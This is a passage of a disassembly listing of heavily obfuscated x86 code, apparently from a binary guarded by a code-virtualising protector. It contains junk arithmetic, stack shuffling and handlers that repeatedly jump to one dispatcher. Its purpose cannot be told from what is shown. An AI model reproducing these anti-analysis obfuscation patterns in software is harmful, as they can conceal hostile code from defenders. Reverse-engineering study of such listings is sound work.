loc_5949E2 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5905B7: ; CODE XREF: sdfs____:005961A0j push ebx mov ebx, 2 add edx, ebx pop ebx sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_58F156 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5905D7: ; CODE XREF: sub_5917C0+1D12j pop esp jmp loc_590DB9 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5942ED ; --------------------------------------------------------------------------- loc_5905E6: ; CODE XREF: sdfs____:0059833Bj add esp, 4 push ecx push ebx jmp loc_59609C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5905F0: ; CODE XREF: sub_591370+772Bj mov esi, [esp-14h+arg_10] add esp, 4 jmp loc_596066 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_5905FE: ; CODE XREF: sdfs____:0058D009j ; sdfs____:0058EB74j push esp mov edx, [esp] add esp, 4 jmp loc_596158 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59060A: ; CODE XREF: sub_591435-3716j add ebx, 4 xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] pop esp push 745Eh mov [esp+4+var_4], ebp push 2000000h push [esp+8+var_8] pop ebp push eax jmp loc_58FB66 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_590631: ; CODE XREF: sub_59841F-BCE0j dec ebx push ebp mov ebp, 3FE2375Ah jmp loc_590F59 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_59063D: ; CODE XREF: sdfs____:0058BBC4j mov [esp], esi push esp mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_591BC5 ; --------------------------------------------------------------------------- loc_590658: ; CODE XREF: sdfs____:00597618j jmp loc_594FC3 ; --------------------------------------------------------------------------- lodsb jmp loc_58EC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_590663: ; CODE XREF: sub_5917C0+5419j ; sub_5917C0+69B5j xchg ecx, [esp+0] jmp loc_58F668 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59369D loc_59066B: ; CODE XREF: sub_59369D+5626j mov ebx, 683715Bh and edx, ebx pop ebx push eax mov eax, 446561C3h or eax, 61256FB2h or eax, 36BE7731h jmp loc_596850 ; END OF FUNCTION CHUNK FOR sub_59369D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_590688: ; CODE XREF: sub_59576E-6014j and dx, 14B4h push 1CCBh mov [esp+4+var_6+2], esi mov si, 6FE6h jmp loc_58F134 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- loc_59069E: ; CODE XREF: sdfs____:00594C3Dj sub dh, al pop ax add dh, 30h xor al, dh jmp loc_58FFCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5906AC: ; CODE XREF: sub_591370+2216j dec dh inc dh add dh, 82h dec dh shl dh, 4 add dh, 0C3h add al, dh pop edx jmp loc_594876 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_5906C3: ; CODE XREF: sub_59841F-C026j ; sdfs____:0058F4D1j jns loc_591926 add ecx, 0E44EF5A4h add esi, ecx pop ecx pop ecx loc_5906D3: ; CODE XREF: sub_591370+2F26j jb loc_597835 jmp loc_58E7A6 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_5906DE: ; CODE XREF: sdfs____:005922CFj push dword ptr [esp+4] jmp loc_58CFB1 ; --------------------------------------------------------------------------- loc_5906E7: ; CODE XREF: sdfs____:0059087Aj mov eax, [esp] sub esp, 4 mov [esp], eax push esp pop eax jmp loc_58E279 ; --------------------------------------------------------------------------- loc_5906FA: ; CODE XREF: sdfs____:0058FA8Cj xor edx, [esp] mov esp, [esp] jmp loc_597E8D ; --------------------------------------------------------------------------- loc_590705: ; CODE XREF: sdfs____:0058E23Ej pop edi add esp, 4 push ecx mov ecx, 4 add edi, ecx jmp loc_59644F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596F8A loc_590716: ; CODE XREF: sub_596F8A-1AB1j push edi jmp loc_58E0F0 ; END OF FUNCTION CHUNK FOR sub_596F8A ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], eax mov eax, esp jmp loc_58F30E ; --------------------------------------------------------------------------- loc_590730: ; CODE XREF: sdfs____:loc_58CEC4j and ebp, 7FC95306h push eax push esi jmp loc_58ECD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59073D: ; CODE XREF: sub_591435-989j pop edx add bl, cl jmp loc_58C7DA ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_590745: ; CODE XREF: sub_594228-B95j mov [esp+22h+var_24+2], edx mov edx, 3EB216A6h dec edx push ebp mov ebp, 62EA029Bh sub edx, ebp jmp loc_595CFD ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_59075B: ; CODE XREF: sub_596736+16DAj mov [esp+8+var_8], ebp jmp loc_59227C ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- loc_590763: ; CODE XREF: sdfs____:005943AEj add edi, 4 jmp loc_595C68 ; --------------------------------------------------------------------------- loc_59076E: ; CODE XREF: sdfs____:00596B5Fj sub ebp, 51DB2AECh push dword ptr [esp] pop edx add esp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], esi mov esi, esp sub esp, 4 jmp loc_596856 ; --------------------------------------------------------------------------- loc_5907A1: ; CODE XREF: sdfs____:00594315j mov [esp], ebp mov ebp, 4 sub edi, ebp pop ebp jmp loc_58EBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5907B1: ; CODE XREF: sub_5917C0+6FF1j add esi, ebx pop ebx sub esi, 0FA80AA41h push eax push edi mov edi, esi mov eax, edi pop edi mov edi, eax pop eax mov esi, [esp-4+arg_0] add esp, 4 push edi jmp loc_58C120 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590561 loc_5907D0: ; CODE XREF: sub_590561-399j add cx, dx jmp loc_591D1F ; END OF FUNCTION CHUNK FOR sub_590561 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591397 loc_5907D8: ; CODE XREF: sub_591397+2DBCj add edx, 47A04CCDh pop ecx add eax, edx pop edx add eax, 2 xchg eax, [esp-8+arg_4] mov esp, [esp-8+arg_4] ror [esp-8+arg_4], cl pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_591397 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5907F6: ; CODE XREF: sub_594228-117Cj sub esi, ebx mov ebx, [esp+26h+var_28+2] add esp, 4 shl esi, 6 shr esi, 2 add esi, 0F18931E4h push ebp mov ebp, esi mov ecx, ebp pop ebp pop esi jmp loc_58BD88 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_590819: ; CODE XREF: sub_5917C0+2D06j mov esi, 0CD5123h not esi dec esi jmp loc_58BEDD ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_590826: ; CODE XREF: sdfs____:00592BC8j movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] jmp loc_597E4F ; --------------------------------------------------------------------------- loc_590834: ; CODE XREF: sdfs____:00591EFEj mov [esp], ebp push esp pop ebp jmp loc_591A40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592F43 loc_59083E: ; CODE XREF: sub_592F43+16j mov ebx, [esp+8+var_8] jmp loc_58BB38 ; END OF FUNCTION CHUNK FOR sub_592F43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_590846: ; CODE XREF: sub_594228-6CC7j shl esi, 6 push ecx mov ecx, 743E5CDAh dec ecx or ecx, 51960013h jmp loc_58CD51 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590561 loc_59085B: ; CODE XREF: sub_590561+2Aj pop bx jmp loc_597D4E ; END OF FUNCTION CHUNK FOR sub_590561 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_590862: ; CODE XREF: sub_594228-357Bj ; sdfs____:00595875j pop esp push ebx jmp loc_58E220 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_590869: ; CODE XREF: sdfs____:loc_58D07Cj jmp loc_594D69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_59086E: ; CODE XREF: sub_59841F-7761j sub al, 0F5h sub al, dl jmp loc_592919 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_590877: ; CODE XREF: sdfs____:00594A58j neg dword ptr [esp] jmp loc_5906E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_59087F: ; CODE XREF: sub_594F18-65Ej pop ecx push edx mov edx, esp add edx, 4 sub edx, 4 push edx push [esp+arg_0] pop edx pop dword ptr [esp+0] jmp loc_58F967 ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- loc_59089A: ; CODE XREF: sdfs____:005916C4j xchg ebp, ecx jmp loc_595F7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5908A1: ; CODE XREF: sub_5917C0-EA4j not [esp-4+arg_0] pop esi push edi jmp loc_595A75 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5908AB: ; CODE XREF: sub_591435-4A78j ; sub_594228+40ACj pop esp loc_5908AC: ; CODE XREF: sub_592853-54E3j ; sub_592853+5545j push [esp-6+arg_0+2] mov ebx, [esp+0] push 67DBh mov [esp+2+var_4+2], edi push esp pop edi add edi, 4 push ebp mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp+2+var_4+2] pop esp push 3A37h jmp loc_58DEA8 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_5908D9: ; CODE XREF: sdfs____:00596266j mov ecx, [esp] add esp, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_5921FF ; --------------------------------------------------------------------------- loc_5908F3: ; CODE XREF: sdfs____:00595F97j add ebx, 63C20FFCh add ebx, edx push ebp mov ebp, 63C20FFCh jmp loc_590E1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_590906: ; CODE XREF: sub_5962EB-8538j ; sdfs____:00593E16j mov word ptr [esp-10h+arg_C], dx push ax pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_590912: ; CODE XREF: sub_5917C0+60F1j push edx mov edx, esp push esi mov esi, 12126D99h push esi jmp loc_5908A1 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_590921: ; CODE XREF: sdfs____:0059601Aj push ecx push eax mov eax, 30C113BBh mov ecx, eax pop eax jmp loc_59308A ; --------------------------------------------------------------------------- loc_590930: ; CODE XREF: sdfs____:0058F3E8j neg dl sub dl, 8Ah jmp loc_597FFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_59093A: ; CODE XREF: sub_594228+392Fj ; sub_594228+4927j push eax mov eax, 0FFFFFFFFh add edx, eax jmp loc_58C310 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BAD7 loc_590947: ; CODE XREF: sub_58BAD7+F83j add esp, 4 push esi jmp loc_59836E ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; --------------------------------------------------------------------------- loc_590950: ; CODE XREF: sdfs____:005901CFj mov ebx, 7855D6h push edi mov edi, 47B76808h xor edi, 60F1505Dh or edi, 26112ED7h jmp loc_58BC11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_59096C: ; CODE XREF: sub_58EB23+310Cj xor esi, [esp+0] xor [esp+0], esi xor esi, [esp+0] mov esp, [esp+0] sub [esp+0], al pushf jmp loc_595386 ; END OF FUNCTION CHUNK FOR sub_58EB23 ; --------------------------------------------------------------------------- loc_590981: ; CODE XREF: sdfs____:00597861j mov eax, 163B2E1Dh jmp loc_591D80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E146 loc_59098B: ; CODE XREF: sub_58E146-B3Bj ; sdfs____:005902BEj mov [esp+8+var_8], esp push edi mov edi, 4 add [esp+0Ch+var_8], edi pop edi pop [esp+8+var_8] push eax mov eax, 4 add [esp+8+var_4], eax pop eax jmp loc_58D188 ; END OF FUNCTION CHUNK FOR sub_58E146 ; --------------------------------------------------------------------------- loc_5909AC: ; CODE XREF: sdfs____:0058F11Ej add edi, 532F53FFh pop esi push 1228h mov [esp], esi jmp loc_591807 ; --------------------------------------------------------------------------- loc_5909C0: ; CODE XREF: sdfs____:00595B9Cj xor ebx, [esp] mov esp, [esp] jmp loc_58C191 ; --------------------------------------------------------------------------- loc_5909CB: ; CODE XREF: sdfs____:00593FCFj push esp jmp loc_597A42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5909D1: ; CODE XREF: sub_594228-2BFFj push [esp+6+var_8+2] pop eax jmp loc_593666 ; --------------------------------------------------------------------------- loc_5909DA: ; CODE XREF: sub_594228+2074j add edi, 8984A838h add ebx, 5AEF3DD8h sub ebx, 5EE97C3Dh sub ebx, edi add ebx, 5EE97C3Dh sub ebx, 5AEF3DD8h jmp loc_58D127 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5909FF: ; CODE XREF: sub_5917C0+314Bj pop [esp+8+var_8] pop esp mov [esp+0], cx movzx cx, al push cx pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_590A13: ; CODE XREF: sub_591435-43F7j sub ecx, 44B05316h add ecx, 6B9C5908h add ecx, 3BAC6FB4h add ecx, edx jmp loc_58F845 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_590A2C: ; CODE XREF: sdfs____:00593C87j add ebp, 76CB6215h mov esi, [esp] add esp, 4 push edx mov edx, 2 add ebp, edx jmp loc_5936E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_590A48: ; CODE XREF: sub_59587A+1j mov ebp, 499B3341h jmp loc_591475 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_590A52: ; CODE XREF: sub_5962EB-6989j push eax mov eax, 0 add eax, ebx add [eax], ecx jmp loc_596692 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_590A61: ; CODE XREF: sub_591370-6B9j add eax, 4 xchg eax, [esp-1Ch+arg_18] pop esp xor ebp, 72B83BACh sub eax, ebp jmp loc_58FCD3 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_590A75: ; CODE XREF: sdfs____:005964BFj push 3C82h mov [esp], edx push 2494h mov [esp], ebx mov bl, 0A6h jmp loc_58ED14 ; --------------------------------------------------------------------------- loc_590A8C: ; CODE XREF: sdfs____:00594000j sub esi, 0B7BE3147h jmp loc_596A00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_590A97: ; CODE XREF: sub_591435-5831j push ecx jmp loc_58CEE0 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_590A9D: ; CODE XREF: sdfs____:00591B60j mov esi, 3894728Eh jmp loc_58EAE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_590AA7: ; CODE XREF: sub_591435:loc_59853Aj add dh, 1Bh mov cl, dh jmp loc_59073D ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_590AB1: ; CODE XREF: sdfs____:0058E3E1j dec edx shr edx, 1 jmp loc_58FA99 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_590AC9: ; CODE XREF: sdfs____:00595BBCj add esp, 4 jmp loc_58F32B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_590AD1: ; CODE XREF: sub_5917C0+4F45j mov edx, [esp+6+var_8+2] jmp loc_58FB45 ; --------------------------------------------------------------------------- loc_590AD9: ; CODE XREF: sub_5917C0+4CEBj push 464Fh jmp loc_593FC2 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_590AE3: ; CODE XREF: sdfs____:0058EAF1j sub ebx, 58AB6DACh mov edi, [esp] push ebp mov ebp, esp jmp loc_594F95 ; --------------------------------------------------------------------------- loc_590AF4: ; CODE XREF: sdfs____:005970D9j pop eax xor al, dh jmp loc_58C8F8 ; --------------------------------------------------------------------------- loc_590AFC: ; CODE XREF: sdfs____:0058FE81j dec ebx jmp loc_597485 ; --------------------------------------------------------------------------- loc_590B02: ; CODE XREF: sdfs____:005969FBj pop ecx inc ecx xchg ecx, edi push ecx jmp loc_58C0E2 ; --------------------------------------------------------------------------- loc_590B0C: ; CODE XREF: sdfs____:00591298j mov edx, 4CA13D20h or edx, 41E60BA0h jmp loc_59603E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_590B1C: ; CODE XREF: sub_5985AE-6A98j sub [esp-10h+arg_C], 698942DFh mov edx, [esp-10h+arg_C] add esp, 4 push 15A6h mov [esp-10h+arg_C], ebx push 46E06A4Bh pop ebx neg ebx shl ebx, 7 inc ebx xor ebx, 0E643985Eh jmp loc_596128 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_58F918 push eax mov eax, 5A047DA5h push ebp jmp loc_59647B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_590B62: ; CODE XREF: sub_5BB696-2FCD0j xor al, bl push eax mov eax, esp push ebx mov ebx, 155B578Dh shr ebx, 4 xor ebx, 50A96310h add ebx, 0AE03299Ch jmp loc_58FA27 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_590B81: ; CODE XREF: sdfs____:loc_58ECD4j ; sdfs____:005929B4j mov [esp], ebp jmp loc_58D15D ; --------------------------------------------------------------------------- loc_590B89: ; CODE XREF: sdfs____:00595EC3j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] or [esp], al pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_590B9E: ; CODE XREF: sdfs____:0058E94Bj pop esi add eax, ecx pop ecx sub esp, 4 jmp loc_58C28C ; --------------------------------------------------------------------------- mov ax, [esp] push edi mov edi, esp push ecx mov ecx, 4 add edi, 9936AC2h add edi, ecx sub edi, 9936AC2h pop ecx push 1D2Ch mov [esp], ebp push esi push 100F6A6Ch jmp loc_591A05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_590BD9: ; CODE XREF: sub_5917C0+47CDj mov ecx, [esp+0Ah+var_C+2] jmp loc_591F37 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_590BE1: ; CODE XREF: sub_5BB696-29D49j mov bl, 0ACh xor cl, bl jmp loc_594E0B ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_590BEA: ; CODE XREF: sub_59576E-5647j sub bx, 3EADh sub bx, ax add bx, 3EADh add bx, 55FCh movzx eax, ax push ebp mov ebp, esp jmp loc_593832 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_590C07: ; CODE XREF: sub_5917C0-2139j ; sdfs____:0059511Ej push ecx push [esp+8+var_8] jmp loc_58FF97 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_590C10: ; CODE XREF: sdfs____:00592E31j mov dh, [esp] add esp, 4 sub dh, 70h jmp loc_5987CF ; --------------------------------------------------------------------------- loc_590C1E: ; CODE XREF: sdfs____:loc_594ABCj sub edx, 56738F2Dh and eax, edx pop edx jmp loc_5924F4 ; --------------------------------------------------------------------------- loc_590C2C: ; CODE XREF: sdfs____:00592F76j neg ebp shr ebp, 4 push esi mov esi, 36F111Ah sub ebp, 69735A2Fh add ebp, esi jmp loc_5923BE ; --------------------------------------------------------------------------- loc_590C44: ; CODE XREF: sdfs____:00596D2Fj and ebx, ecx mov ecx, [esp] add esp, 4 add ebx, 0CBFBBDFCh add edi, ebx mov ebx, [esp] add esp, 4 push edx mov edx, 2 add edi, edx pop edx xchg edi, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_590C75: ; CODE XREF: sub_591435-501Aj and ecx, ebp push [esp+4+var_4] mov ebp, [esp+8+var_8] add esp, 4 add esp, 4 shr ecx, 7 push ebx push [esp+4+var_4] push [esp+8+var_8] mov eax, [esp+0Ch+var_C] add esp, 4 jmp loc_58EFFE ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_590CA1: ; CODE XREF: sub_594228-74B6j ; sub_5970DE+9j mov dh, 98h jmp loc_592C19 ; --------------------------------------------------------------------------- loc_590CA8: ; CODE XREF: sub_594228-1265j mov edx, 0C60157DFh jmp loc_590862 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_590CB2: ; CODE XREF: sub_591370+4CFEj add eax, 4 jmp loc_590A61 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_590CBC: ; CODE XREF: sub_59841F-9C51j sub al, 58h jmp loc_59086E ; END OF FUNCTION CHUNK FOR sub_59841F ; =============== S U B R O U T I N E ======================================= sub_590CC3 proc near ; CODE XREF: sub_58D9EF+Bj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058BBAD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058BD13 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058E0A6 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0058E42A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005952F6 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00596083 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00596426 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00596503 SIZE 0000000A BYTES push ebx mov ebx, 4DFD4101h push eax mov eax, 6B030297h sub eax, 1C74308Fh xor eax, 192A9ABBh and ebx, eax mov eax, [esp+8+var_8] add esp, 4 not ebx shr ebx, 6 xor ebx, 6846539Bh jmp loc_596503 sub_590CC3 endp ; --------------------------------------------------------------------------- loc_590CF4: ; CODE XREF: sdfs____:0058BA48j sub [esp], eax sub esp, 4 mov [esp], esi mov esi, esp sub esp, 4 mov [esp], ebp mov ebp, 4 add esi, 6D88638Ah add esi, ebp jmp loc_59168F ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] add dword ptr [esp], 23E1305Dh pop eax push edx push eax mov eax, esp add eax, 4 jmp loc_590089 ; --------------------------------------------------------------------------- loc_590D33: ; CODE XREF: sdfs____:0058F088j dec ebx jnz loc_58FA1C sub ebx, 56E55FF5h jmp loc_58C43E ; --------------------------------------------------------------------------- add eax, ebx pop ebx loc_590D48: ; CODE XREF: sdfs____:0059814Aj sub eax, 2E867AF0h pop esi add eax, 2 xchg eax, [esp] jmp loc_58F093 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_590D59: ; CODE XREF: sub_59587A-1ADCj jg loc_5951BA add edi, 24EF4273h jmp loc_58F160 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- mov cx, [esp] push 36EAh mov [esp], eax push esp pop eax push ebx push ecx push 3E190AA6h pop ecx not ecx or ecx, 43A304C6h and ecx, 16DA3AFBh jg loc_58BB9F add ecx, 0FD3DCF29h mov ebx, ecx pop ecx pop eax loc_590D9E: ; CODE XREF: sdfs____:0058CBECj mov [esp], ecx mov ecx, 4 push ecx mov ecx, 4F9E0E43h jmp loc_58D6C3 ; --------------------------------------------------------------------------- loc_590DB1: ; CODE XREF: sdfs____:0058D550j ; sdfs____:00593DE2j xor [esp], ecx jmp loc_593E10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_590DB9: ; CODE XREF: sub_5917C0-11E8j mov [esp+0], esi push ebp push 565E4C31h pop ebp xchg ebx, ebp not ebx xor ebp, ebx jmp loc_597D8B ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_590DCE: ; CODE XREF: sdfs____:0058D855j mov esi, 4E295C49h push esi sub dword ptr [esp], 23953FFBh pop ebx add ebx, 23953FFBh pop esi jmp loc_58F57A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_593131 loc_590DE8: ; CODE XREF: sub_593131+EC4j ; sub_591370+2F09j xor ecx, eax push 3209h mov [esp+4+var_4], ebx xor [esp+4+var_4], 78C37C26h pop eax push 5260h mov [esp+4+var_4], edi push esi push 41293C71h mov esi, [esp+0Ch+var_C] jmp sub_58FE99 ; END OF FUNCTION CHUNK FOR sub_593131 ; --------------------------------------------------------------------------- loc_590E10: ; CODE XREF: sdfs____:005988B2j pop esi pop edx push 2F5Ch jmp loc_5925B0 ; --------------------------------------------------------------------------- loc_590E1C: ; CODE XREF: sdfs____:00590901j sub ebx, ebp jmp loc_58D418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BAD7 loc_590E23: ; CODE XREF: sub_58BAD7:loc_58D35Bj not ecx xor ecx, 0EF2F5231h push ecx pop ebp jmp loc_598681 ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_590E32: ; CODE XREF: sub_59576E-9076j ; sub_5917C0+5685j push 6AAh mov [esp+0], esi jmp loc_590113 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- loc_590E3F: ; CODE XREF: sdfs____:0058C55Fj shr edx, 8 jz loc_596073 jmp loc_594283 ; --------------------------------------------------------------------------- loc_590E4D: ; CODE XREF: sdfs____:0059495Fj xor edx, [esp] jmp loc_58F9AD ; --------------------------------------------------------------------------- loc_590E55: ; CODE XREF: sdfs____:00596912j add esp, 4 push 483Ch mov [esp], ebx push edx mov edx, 7C7F0960h mov ebx, edx jmp loc_594426 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_590E70: ; CODE XREF: sub_59587A-616Aj add esp, 4 jmp loc_597CAD ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_590E7B: ; CODE XREF: sdfs____:0058F309j push eax jmp loc_59456F ; --------------------------------------------------------------------------- loc_590E81: ; CODE XREF: sdfs____:0058BF90j mov ebp, esi jmp loc_58DB0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_590E88: ; CODE XREF: sub_5962EB-83FAj not edx xchg edx, [esp-10h+arg_C] pop esi push 2961h mov [esp-10h+arg_C], edi mov edi, 1232632Fh add edi, 65FA3D49h jmp loc_590FD3 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_590EB5: ; CODE XREF: sub_594228-4F02j sub ebx, edi pop edi sub ebx, edx add ebx, 1168307Ch jmp loc_5943B3 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C71E loc_590EC5: 